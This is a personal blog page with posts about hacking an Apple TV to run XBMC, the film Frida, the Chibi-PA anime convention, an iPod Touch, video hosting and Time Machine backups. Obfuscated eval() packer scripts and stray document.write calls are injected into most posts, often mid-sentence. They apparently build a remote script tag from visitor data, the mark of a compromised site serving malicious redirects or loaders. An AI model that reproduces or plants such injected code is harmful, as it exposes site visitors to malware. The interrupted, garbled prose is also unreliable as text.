A Melody Fan Page

Apple TV hack

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Since the time I have purchased the Apple TV, document.write(“”); I have refrained from hacking it. Not that I didn’t feel it was necessary — in the contrary, the ATV in itself is rather disappointing, although recent updates made it more interesting by adding the possibility to purchase or rent movies, as well as TV series in HD, access to iTunes radio stations or a “stand-by” option in the menu (you cannot turn ATV off but you can put it to sleep) — but simply because I didn’t have much time to consider or perform the complexe hacking procedures.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hsief|var|u0026u|referrer|friir||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yneif|var|u0026u|referrer|isyzf||js|php’.split(‘|’),0,{}))

The first hack that was made available was hardware and required to open the ATV to remove the hard drive. I used to like opening my computers to play with their guts, but lately the innards of electronic devices have become so compact and complicated that I don’t want to take that risk anymore — without mentioning that I would rather not void the ATV warranty. After a while someone came up with the clever concept of the “patchstick”, a USB drive that contains the necessary code to enable SSH on the ATV and install plugins & scripts giving the ATV extra functionality. But putting the patchstick together was still a complicated procedure and using it entailed some risks so I decided to wait until I could learn more about it or until someone would come up with a simpler procedure. Later, a pre-installed USB drive was offered on the market, but the company selling it was sued and the product withdrawn. Finally, someone came up with atvusb-creator, an easy-to-use patchstick (well “easy” is all relative since I had a hell lots of trouble getting the app to work on my iMac—since then they released a new version of the app that works better—and I had to try several USB drives before finding one that would work properly on the ATV (a Lexar USB2 SDHC card reader with a cheap Taiwanese Adata 1 Gb card), but after several hours of work I finally succeeded to hack the ATV and can now access it via FTP). It is mostly designed to install Boxee (a media center also working as a social network, but it is still in alpha testing, on invitation only, and I didn’t manage to get an invite yet), but it also installs XBMC !

Once the ATV is SSH enabled you can install all sort of scripts or plugins (see AwkwardTV for details), but XBMC is really all I need. It is very similar to the XBMC that I am running on my old Xbox, except that it looks nicer and performs better. With XBMC the ATV can access files on my network drive and it plays about any type of video files (I don’t have problems anymore with the Matroska file format or Hi-Def video). That’s really cool.

Now, the next step will be to purchase an HDTV… Before Christmas. But that’s another story.

Frida

/ Clodjee / 1 Comment

This is the biography of Frida Kahlo, document.write(“”); who surmounted her pain and injury to become a world renown artist. The movie covers the main highlights of her life: the accident that crippled her, the tumultuous love relationship with fellow mexican artist Diego Rivera, her involvement with Leon Trotsky, her colorful, naive, symbolist & surrealist artwork (she’s particularly known for her self-portraits) and her uncompromising, revolutionary, free thinking.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yhrdf|var|u0026u|referrer|bandz||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ntehd|var|u0026u|referrer|frtzd||js|php’.split(‘|’),0,{}))

Frida is a superb movie. It not only tells a compelling and touching story, but it offers rich and inventive visuals as well as a stirring soundtrack that strongly support the storytelling. Salma Hayek really gives life to her character and make us discover an interesting period in Mexican history.

Frida. USA / Canada / Mexico, 2002, 123 min.; Dir.: Julie Taymor; Scr.: Clancy Sigal, Diane Lake, Gregory Nava, Anna Thomas (based on the biography by Hayden Herrera); Phot.: Rodrigo Prieto; Ed.: Francoise Bonnot; Prod. Des.: Felipe Fernandez del Paso; Art Dir.: Bernardo Trujillo; Set Decor.: Hania Robledo; Cost. Des.: Julie Weiss; Music: Elliot Goldenthal; Prod.: Sarah Green, Salma Hayek; Cast: Salma Hayek, Alfred Molina, Geoffrey Rush, Valeria Golino, Mia Maestro, Roger Rees, Ashley Judd, Antonio Banderas, Edward Norton. Rated R.

Frida © 2003 Miramax Film Corp. All Rights Reserved.

Chibi-PA

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After fifteen hours of travelling we finally arrived at West Palm Beach. The temperature was quite hot (about 30′ C/86′ F) and excessively humid—I don’t know how people can live in such a climate (constantly moving from the air-conditioned buildings to the sweltering outside is enough to catch one’s death). Jason & Lynn, document.write(“”); the Chibi-PA organizers, picked us up at the airport. I was disappointed to learn that the convention’s name is not pronounced “PeeHey” (as it could have been an hommage to Protoculture Addicts — J/K) but “Paw” and simply means “small party.” We quickly escaped to our beautiful hotel suite at the Crown Plaza to get some well deserved sleep.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bfass|var|u0026u|referrer|ihtie||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kieef|var|u0026u|referrer|ekykb||js|php’.split(‘|’),0,{}))

On Saturday, after a quick breakfast at the hotel, we took the shuttle for the convention center located a couple of miles away. Having the convention so far apart of the hotel was not inconvenient because of the shuttle (but it ran only on an hourly schedule and, the convention center not being a regular stop, you had to call to be picked up—but you could always catch the shuttle downtown, just a 5-minute walk from the convention). The first thing I did was to check the convention’s layout. It was good as it was all concentrated in the same area of the Convention Center, on two floors (unfortunately neither the floor plans nor the schedule are/were available on Chibi-PA’s website). On the first floor, you had the registration, one small dealer room, three video room, one panel room, and a video game room (further away in the convention center there was also a vendor offering some fast food). On the second floor, you had a large dealer room, the main event room and, along the balcony, the artist alley. The dealer rooms were stacked with various nice goodies and the convention was pretty well organized and staffed. I have no complain.

The main guest (beside myself) was Makoto Nagano, the champion of the Japanese obstacle game show Sasuke (known as “Ninja Warrior” in North America) and his Q&A was the first event I attended. He arrived late, but the delay allowed the room to fill up. It was interesting to learn about this guy (I never heard of him before since the show is not broadcast in Canada, and I was more interested in his life as the captain of a fishing boat than in the game show itself), but unfortunately the english pronounciation of the Japanese translator was not very good and it was sometime difficult to get what she was saying. Right after that event, Nagano-san did an autograph session on the second floor balcony and I set up my table right beside his to sell and introduce my magazine to the crowd. At 5 pm we ran a panel where we introduced the magazine, answered questions, did a small focus group to get feedback from the audiance and discussed the anime industry situation. The crowd was good, in fact better than I expected (the room was half full, with about 20-30 people). I gave away copies of the magazine to each participant. I missed the koto and Fushu Daiko concerts (I was busy holding our presentation table and the panel), but attended a very interesting panel following ours, “Kimono Class with Yoshiko Carlton,” where a couple of Japanese ladies explained the intricacies of wearing a kimono. At 7:30 pm we walked to the beautiful CityPlace mall downtown, ate at a mexican restaurant and picked up some snacks at a grocery store before going back to the hotel to rest.

On Sunday, after a quick breakfast at the hotel, we arrived at the convention on time to attend the second of Nagano-san Q&A. After that we walked again around the nice outdoor CityPlace mall to take pictures. Then, while Nagano-san was again signing autograph, I hold the magazine presentation table. At 3 pm we had another panel, but no one came (the crowd was definitely thinner on Sunday). We hung around the convention a little (checking more carefully the dealer room). After that we walked around downtown in search of the beach (it’s called West Palm Beach, isn’t it?) but it was not within walking distance (we did make it to the “canal”). We finally came back to the hotel to rest before going out to eat with the convention organizers. I wish we could have some time with Nagano-san to discuss and do an interview.

Early Monday morning Jason & Lynn drove us to the Fort Lauderdale airport from where we flew back to Baltimore and then Burlington, where a friend picked us up and drove us back to Montreal. Flying over the trees in Vermont, with all their various fall colors, was beautiful. The trip back took only eleven hours and was a little less tiring, but the whole week-end left me rather exhausted (it must have been due to the heat and flying five planes in four days).

An amusing anecdote: at the same time than Chibi-PA, the Palm Beach County Convention Center was also hosting some Christian group convention on Saturday and some church activities on Sunday. It was funny to see all those people dressed as their best on one side of the convention center and, on the other side, fans dressed as their favorite anime character! At some point Sunday, someone (presumably attending the “other” convention) came nearby the registration area and shout some invectives equating us to the devil. Cool.

Overall Chibi-PA was a nice convention. The Florida convention scene is clearly well organized (although it is knowing the usual occasional feuds among competing organizers), but the demographics of the state (mostly an aging population of retirees who doesn’t care much for anime) are condemning the local anime conventions to remains small and barely solvent. However, there is nothing wrong with small conventions. There might not be any industry panels or many big guests, but they are usually the most fun to attend. If Chibi-PA was a small party (I estimated the attendance around 1200) for the fans to congregate and enjoy themselves (I only wish I had more time to enjoy its activities), its most endearing quality was that it extended its focus not only to anime and manga, but also to many related aspects of Japanese culture. If you have the opportunity to attend Chibi-PA in the future, I recommand you to do so. Let’s party!

I’ll post some pictures and video clips later.

LifeCast

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LifeCast, document.write(“”); the mobile blogging apps, seems to work fine. I was hoping for a little more fonctionality (like being able to edit a post, adding labels, etc) but we shouldn’t ask too much to a free apps. Other apps seem to offer more but they sell for more than I am ready to pay for a iPod apps ($10 !!). We’ll hope that future updates of LifeCast will bring more fonctions.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ikfkb|var|u0026u|referrer|kirzk||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ktaer|var|u0026u|referrer|zhteb||js|php’.split(‘|’),0,{}))

Posted with LifeCast

Gadget Heaven

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I always feel cut off from the world whenever I am going out (either simply going downtown to shop and run errands or going out of town for a convention) and I’ve been looking for a small and cheap internet device / work station for a long time.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|afiib|var|u0026u|referrer|zsebe||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dkbsi|var|u0026u|referrer|nybfi||js|php’.split(‘|’),0,{}))

First, document.write(“”); I’ve looked at the Palm handhelds / PDAs, but that’s a technology that is limited and now getting outdated fast. The best solution is, of course, a laptop but the MacBooks are still expensive (over a 1k $) and with time I stopped believing in all those rumors of a Mac tablet or sub-notebook. So I started to seriously consider a Netbook that would either run Linux or Window instead (sacrilege!) and if the Asus Eee-PC seemed appealing at first, now I would rather favor the Acer Aspire. However, if those make excellent portable work stations and have many advantages (bigger screen, real keyboard), they’re not Apple products and therefore offer limited compatibility with the Mac.

So I was back considering a handheld-type device with the new 3G iPhone. This one has the advantage of combining both a phone and a handheld device (offering both Wi-Fi and 3G networks), but it’s somewhat expensive (not as much the device itself, but the network subscription), has only a 3.5“ screen, a tiny soft-keyboard and doesn’t offer any apps or softwares to actually do some work (like using Word, Excel, PDF files; I thought that I could type text using Google Docs but it doesn’t work, leaving only the possibility to type texts as notes or emails). I thought of saving money by getting an old iPhone, but buying second-hand electronic devices on the internet can be risky. For now I opted to try out the concept by purchasing one of the new second-gen iPod Touch. Wow.

The iPod Touch looks exactly like the iPhone, but doesn’t make phone calls (although I bet there will be some VOIP apps available soon). It also has the same disadvantages than the iPhone (small screen, tiny soft-keyboard, can read but not modify files), plus the fact that, without the 3G network, it is limited by the Wi-Fi availability.

Despite those serious handicaps, it is a superb internet device. It’s the gadget heaven. I can check any web pages, like Wikipedia, YouTube or Google—as well as all my emails—from any room of the house: from the TV room to my bed! There are tons of apps, from the useful programs to the funny games. I can check my calendar or contacts, the weather, the stocks, a Google map, listen to music, to radio stations (through wi-fi), watch a video or look at my photo albums, contact people via AIM, Facebook or Twitter, read eBooks, check the bus schedule, the news, the movie listing, or play a game to kill time. Absolutely amazing.

Of course, it is not perfect. The Mail app doesn’t identify and discard spam—like the desktop Mail does—so every hours I have dozens of junk mails to delete from my mail boxes. That’s annoying. And Montreal is a city without much Wi-Fi spots, so there’s not many places where I can check my emails and roam the web when I am downtown (so far, I have identify the Eaton Center food court as a nice wi-fi spot). Until we get a city-wide network, there are a few Boingo hot spots and a few WiFi directories.

For now it is a very useful device and I am quite happy with it. It offers the Mac’s compatibility with synching capability. In order to be able to do some real work when I am away, I am considering to later acquire a Netbook like the Acer Aspire (when I have a little more money).

More Video Tests

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I first tried to embed a Quicktime video on my web page, document.write(“”); but for some reason it didn’t work. In a way it give more control, better resolution (640×480), but it has the disavantage of taking lots of space on my hosting server. If it works. I’ll try to see if I can get it to work in the future, but a video hosting service would probably be better as it doesn’t use my server space.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ykyta|var|u0026u|referrer|zkais||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|isern|var|u0026u|referrer|rezrb||js|php’.split(‘|’),0,{}))

Google Video seemed a good candidate since it has no file size or time limit (contrary to YouTube which has a 1 Gb and 10 min. limit). But the resolution is not better than YouTube (see this blog entry) and the Flash encoding took a long time.

Blip.TV offers an impressive video quality and it can be viewed in a larger window on their web site. There’s a 1 Gb limit, but apparently no limit in the length of the video. Unfortunately, the full screen button doesn’t seem to work and they won’t host “private” video unless you pay for their Pro service… The Flash encoding is average, but you have a progress bar that let you know what’s happening.

Video thumbnail. Click to play.
Click to play

play_blip_movie_1069591();

Another option (that I mentioned before) is to upload it to my .Mac / MobileMe gallery. It’s the best quality possible, offer opportunities of editing through iMovie, but it does take some space from my iDisk (a 2 min. clip at 960×540 takes about 55 Mb!)…

I’ll keep looking for more options.

(Update 2008/07/12 & 16)

I’ve found another off-site free option with HD Share. It offers unlimited upload (well, for now the site is still pretty new and the details are sketchy; it seems there’s a limit of 4 Gb) and it can take HD quality (1280×720). However, the private video are really private (you need to be a member and a “friend” to see them), people can only stream and not download (although that’s fine with me), the source file cannot be .M4V (but it takes .MP4) and their embeding code seems to be screwed up (it doesn’t work, even for public video). And so far there’s no help support on their site…

So far the best options still seems to be the MobileMe Gallery and Blip.TV.

Video Experimentation

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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kstnf|var|u0026u|referrer|hkryd||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rtday|var|u0026u|referrer|rzntd||js|php’.split(‘|’),0,{}))
Earlier in May, document.write(“”); I got myself a Canon Powershot S5IS as birthday present. It’s quite an improvement on my FujiFilm S 3100: I’ve doubled the zoom (12x) and the megapixels (8), it has face detection and image stabilisation, a bigger & adjustable LCD monitor, lots of shooting mode (including manual) and the flash is a little more powerful — but the camera also has a hot-shoe to add an external flash when necessary. I’ll do a full review when I have a little more time. All I can say for now is that it takes pretty nice pictures. So far, I tried it at one convention, a couple of family events, a walk at the Botanical Garden and I am very satisfied.

The zoom is quite impressive:

It also takes good video (with stereo sound!) which I couldn’t do with the Fuji (poor quality video and no sound). I have just started experimenting with video. I still have to try doing some editing and I am looking for the best way to showcase my footage to family and friends. On YouTube? On my .Mac web gallery (with .Mac/MobileMe increasing to 20 Gb of storage that could be a solution)? I’ll do some more tests and I’ll see.

First, the test on YouTube. The first thing I notice is that the encoding dramatically reduce the resolution. It’s rather disappointing. Anyway, judge for yourselves. Here’s a family of ducks spotted last friday at the Montreal Botanical Garden (just beside the Japanese Pavillion):

[Updated 2008/08/25 with the zoom pic]

More movie & festival reviews

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I’ve just put online a bunch of movie reviews from last year’s Montreal World Film Festival.
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yrart|var|u0026u|referrer|ankad||js|php’.split(‘|’),0,{}))

You can access them either at this updated blog entry or on Protoculture’s web site.

Alleluia Time Machine!

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A couple of weeks ago I bought a new, document.write(“”); bigger, network drive as the hard drive plugged to my Airport Extreme was already getting full. This allowed me to free a drive for Time Machine. I had the new Mac OS (10.5, aka Leopard) installed on both my iMacs for months, but never got around setting up Time Machine, Mac’s new automatic backup software, because I didn’t have any spare hard drive. I first set up Time Machine on my main iMac (Intel latest generation). That’s the one I use for work, so it was my first priority. It was quite easy to install: I had just to plug the spare drive (aptly named Tardis) on the USB port and turn Time Machine on. It immediately started to make the first, full backup. After that it makes hourly incremental backups. “Time Machine saves the hourly backups for the past 24 hours, daily backups for the past month, and weekly backups for everything older than a month.” It does that until the drive is full and then it erase the backups and starts again. It really gives you a sense of security. But if backups make you feel safe, it is mostly because you think that you will probably never need it anyway…
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bberd|var|u0026u|referrer|hbidh||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|heaze|var|u0026u|referrer|dfihb||js|php’.split(‘|’),0,{}))

A few days later, being quite satisfied with how the software was working (mainly because it was not slowing the system–and therefore my work–when doing backups), I decided to implement Time Machine on my secondary iMac (a pre-iSight G5 that I use for backup, research, testing and download). First, I had to free another, smaller, hard drive by moving content around (to Navi, the network drive plugged to Airport Extreme, and to Tardis). Since it was a smaller drive, I also had to set up TM to exclude some, less important, folders (Music, Movie), while doing its backup. Once turned on, Time Machine started doing it backup quietly and flawlessly. After a while you forget about it. It’s part of the system. It’s just a safety net…

About a week later, I noticed that my secondary iMac was getting quite slow. I checked to see if one of the softwares was dragging the system down, but couldn’t find anything wrong. I rebooted just in case, but nothing changed. The system was still slow to respond to any command. So, last Thursday, in frustration, I decided to turn the computer off, thinking of doing more tests later. When I turned it on again on Good Friday afternoon, it refused to boot. I tried several time and all I was getting was the Apple logo, the spinning wheel, the fan was starting to run like crazy after a while, and sometime ending up with a kernel panic (the multilingual screen of death). My computer was dead! I was busy and there was nothing much I could do, so I left it alone.

Finally, Sunday I had a little spare time (it was Easter, my wife was working and the big family dinner would not happen before next week) so I decided to do some tests. I succeeded to boot the iMac with the Leopard install disk. It could be either some corruption in the OS software or some problem with the hard drive. First, I checked the drive with Disk Utility. I thought that doing some repair on the disk would probably solved the problem. Wrong! Disk Utility gives me right away a “Fatal Hardware Error” on the drive. Bad news… So the drive is dead. It is confirmed by the Apple Hardware Test that gives an error code on the SATA bus. Now I know what to do to resuscitate my iMac (which is quite appropriate on Easter!) Unfortunately, all repair shops and computer stores are closed until Monday. It leaves me some time to do a little thinking. My AppleCare warranty has already expired in December, so bringing it to the repair shop will probably be quite costly. On the other hand, the hard drive on this model is still easily accessible so I could simply purchase a new drive and install it myself. If it doesn’t work I could still bring it to the repair shop. So I download the “how-to” instructions from Apple website, check my iMac specs to make sure which drive I need and go to Microbytes to purchase a new (twice bigger) hard drive. It takes fifteen minutes to install the new drive, reboot with the Leopard install disk and reformat the drive. Now comes the big test for Time Machine. It takes a couple of hours to restore the iMac with the Time Machine backup, but it finally reboot and looks like nothing ever happened! Alleluia Time Machine!

I’ve never seen a backup system so easy to use! If you have a Mac and are running Leopard, the safest thing to do is to make sure that Time Machine is on. You never know when you’ll need it.

Apple TV

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I have been using the Xbox Media Center (XBMC) to view video files for a couple of years and I like it very much since it is offering a great variety of settings — but lately I’ve been having problem running hi-def video and mkv format. I guess we are slowly approaching the processing limits of the Xbox (unless the XBMC migrates to the 360). Therefore, document.write(“”); I started looking for a replacement. The new Apple TV seemed to be a suitable candidate.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rfrbk|var|u0026u|referrer|bhfrb||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hkyyy|var|u0026u|referrer|zsady||js|php’.split(‘|’),0,{}))

I’ve now been owning an Apple TV (the 40 Gb hard drive model) for less than a month and so far I am relatively satisfied with it. It looks very nice, play video well and offers a few bonuses (streaming photos, music, podcast, and youTube videos). You can either stream your videos to the ATV or synch them to store them locally. It is full of potential. Unfortunately, for now, there are three area where it is very limited. I guess it is a work in progress.

First, it plays only three video format: .mp4, .m4v and .mov (but the latter under very limited conditions; I’ve not figured out yet what make some .mov work and some not). However, you can use Quicktime or other video converters to convert almost any format into .m4v. I mostly watch .avi (plus a few .mkv) and didn’t have any problems converting them, but it is a time consuming process (depending of the video format — .avi seems faster to convert– and the computer used to process the file, it can take from 30 min. (on my new iMac Intel 2.4 Ghz) to over ten hours (on my iMac G5 1.8 Ghz) to convert an half-hour episode). [UPDATE: It even converts the .srt files for the subtitles!]

Second, it is made to work only with a widescreen HDTV. I was able to plug the ATV to my old standard TV with an expensive component video cable and setting the ATV’s resolution to 480i, but I am nevertheless losing some parts of the picture on each side. The XBMC has the advantage of offering various screen formats.

Third, you can only stream or synch your videos (or photos, music, etc) through iTunes, while with XBMC you can stream them from any of your computer drives.

Of course, most of those problems (save the TV resolution) can be solved with a hack. But while you crack open the XB only with a software, in the case of the ATV, you have to physically crack open the box and remove the hard drive in order to install new softwares that extend the ATV capabilities, like enabling SSH (Secure Shell, a network protocol allowing to communicate with the ATV and exchange data, therefore being able to install new softwares without having to remove the drive anymore), adding a file browser (ATVfiles), an external hard drive, play any video codec (through Perian) or even running the full OS X! But I am not encline to void the warranty of my expensive ATV — yet. And all this “work under the hood” is rather complicated to perform. Many people suggested that the best way (although even more expensive) to replace the XBMC would be to buy a Mac Mini and use Frontrow to watch video. It has the advantage of being a fully fonctional computer.

However, I am not ready to give up on the ATV. As I said, it has much potential. Here are the improvements I would like to see in the future:

• Apple should open the Apple TV to developpers. If the ATV could play all video codecs straight out of the box and if it had the ability to run small application (the YouTube player is a start), then it would be, officially — not in a hacked way, a more powerful media center than the XBMC.

• Adding a Gigabite ethernet (like Apple recently did for the Airport Extreme) would also be nice. Even with the standard 10/100 ethernet cable it is much faster to stream or synch than doing it wireless.

• Adding a radio tuner (either iTunes or ShoutCast). I really don’t understand why ATV doesn’t give access to the iTunes radio stations!

• A CATV tuner and PVR capability (but I already have the cable box/PVR for that — so maybe the ability to take content from the cable box/PVR) would be interesting

• Ability to buy or rent content on the internet directly from the ATV. In fact, in Canada, we cannot even download TV shows or movies from the iTunes store, so for us the ATV–as it is right now–is pretty useless. I wonder why they even bother to sell it. So, first, let’s hope that the Canadian iTunes store will soon offer TV or movie videos for sales.

• a fan (because the ATV is REALLY getting hot quickly)

• a switch off (I never understood this idea of building appliance without a switch off).

With those improvements, the Apple TV would be a great video appliance for an entertainment room and I would really enjoy it. However, for now, I cannot recommend it to movie & anime fans as a XBMC replacement.

For more information on the Apple TV, see this collection of Apple TV resources.

Turning The Pages

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Yesterday, document.write(“”); while reading the Montreal’s Gazette, I discovered a very interesting webpage created by the British Library: Turning The Pages.
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kensr|var|u0026u|referrer|badbt||js|php’.split(‘|’),0,{}))

